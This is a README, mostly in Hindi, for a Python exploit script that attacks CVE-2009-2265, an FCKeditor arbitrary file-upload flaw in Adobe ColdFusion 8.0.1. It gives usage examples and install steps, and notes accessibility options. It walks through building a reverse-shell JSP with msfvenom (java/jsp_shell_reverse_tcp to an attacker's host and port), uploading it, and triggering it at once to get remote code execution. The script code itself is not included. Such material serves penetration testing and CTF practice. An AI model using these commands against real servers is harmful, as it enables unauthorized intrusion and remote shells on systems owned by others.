
cf8-upload.py | CVE-2009-2265
CVE-2009-2265 का शोषण करने के लिए एक python3 स्क्रिप्ट।
स्क्रिप्ट FCKeditor < 2.6.4.1 में पाई गई एक कमजोरी का शोषण करती है जिसे adobe coldfusion 8.0.1 में लागू किया गया था:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
स्क्रिप्ट उपयोगकर्ता को adobe coldfusion 8.0.1 चलाने वाले लक्ष्य कंप्यूटर पर एक फ़ाइल अपलोड करने और उसे निष्पादित करने की अनुमति देती है।
pip3 install requests
adobe coldfusion 8.0.1 चलाने वाले लक्ष्य की पहचान करने के बाद, इस प्रकार चलाएँ:
chmod +x cf8-upload.py
./cf8-upload.py -h
या
python3 cf8-upload.py -h
-h या --help विकल्प कुछ उदाहरणों के साथ स्क्रिप्ट चलाने का तरीका दिखाता है। दो स्थितीय तर्क और कुछ वैकल्पिक तर्क हैं।
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
adobe coldfusion डिफ़ॉल्ट रूप से पोर्ट 8500 का उपयोग करता है लेकिन स्क्रिप्ट निष्पादित करते समय सर्वर का पूरा पथ निर्दिष्ट करना होगा।
coldfusion की डिफ़ॉल्ट स्थापना पोर्ट 8500 पर रूट निर्देशिका में हो सकती है, ऐसी स्थिति में स्क्रिप्ट निष्पादित करते समय x.x.x.x:8500 संभवतः पते के तर्क के लिए पर्याप्त होगा।
cf8-upload.py डिफ़ॉल्ट रूप से टर्मिनल आउटपुट में रंग और कुछ अतिरिक्त फ़ॉर्मेटिंग के साथ प्रिंट करता है, हालांकि यह स्क्रीन रीडर का उपयोग करने वालों के लिए हमेशा सहायक नहीं होता है। --accessible तर्क का उपयोग करने से टर्मिनल पर फैंसी फ़ॉर्मेटिंग और रंग मुद्रित होने से अक्षम हो जाएंगे। यह ascii कला को भी अक्षम कर देगा।
यह फ़्लैग स्क्रिप्ट को फ़ाइल पर GET अनुरोध करने के लिए बनाता है, और केवल तब जब वह सफलतापूर्वक अपलोड हो गई हो। यह विकल्प उपयोगी है यदि उपयोगकर्ता कमजोर एप्लिकेशन पर किसी प्रकार का रिवर्स शेल अपलोड कर रहा है और तुरंत उसे ट्रिगर करना चाहता है। GET अनुरोध की सामग्री टर्मिनल पर मुद्रित नहीं होती है और केवल सर्वर पर घटना को ट्रिगर करने का काम करती है।
adobe coldfusion .jsp फ़ाइलों से पढ़ने में सक्षम है, इसलिए msfvenom में एक रिवर्स शेल कुछ इस तरह बनाया जा सकता है:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
और अपलोड किया गया:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
adobe coldfusion 8.0.1 एप्लिकेशन में शोषण स्क्रिप्ट के साथ अपलोड की गई मौजूदा फ़ाइलों को अधिलेखित करने की क्षमता नहीं हो सकती है। ऐसे मामले में, पहले अपलोड की गई फ़ाइल के समान नाम वाली एक अलग फ़ाइल अपलोड करने से अपलोड प्रक्रिया के दौरान टाइमआउट हो सकता है।
आपको पुनः अपलोड करने का प्रयास करने से पहले जिस फ़ाइल को अपलोड करना चाहते हैं उसका नाम बदलने की आवश्यकता हो सकती है।
स्क्रिप्ट मुख्य रूप से पढ़ने योग्यता और पहुँच दोनों को ध्यान में रखते हुए एक एकल शोषण के लिए एक छोटा, व्यापक, स्व-निहित कार्यक्रम बनाने का एक अभ्यास था।
https://skerritt.blog/a11y/ - पहुँच कार्यान्वयन।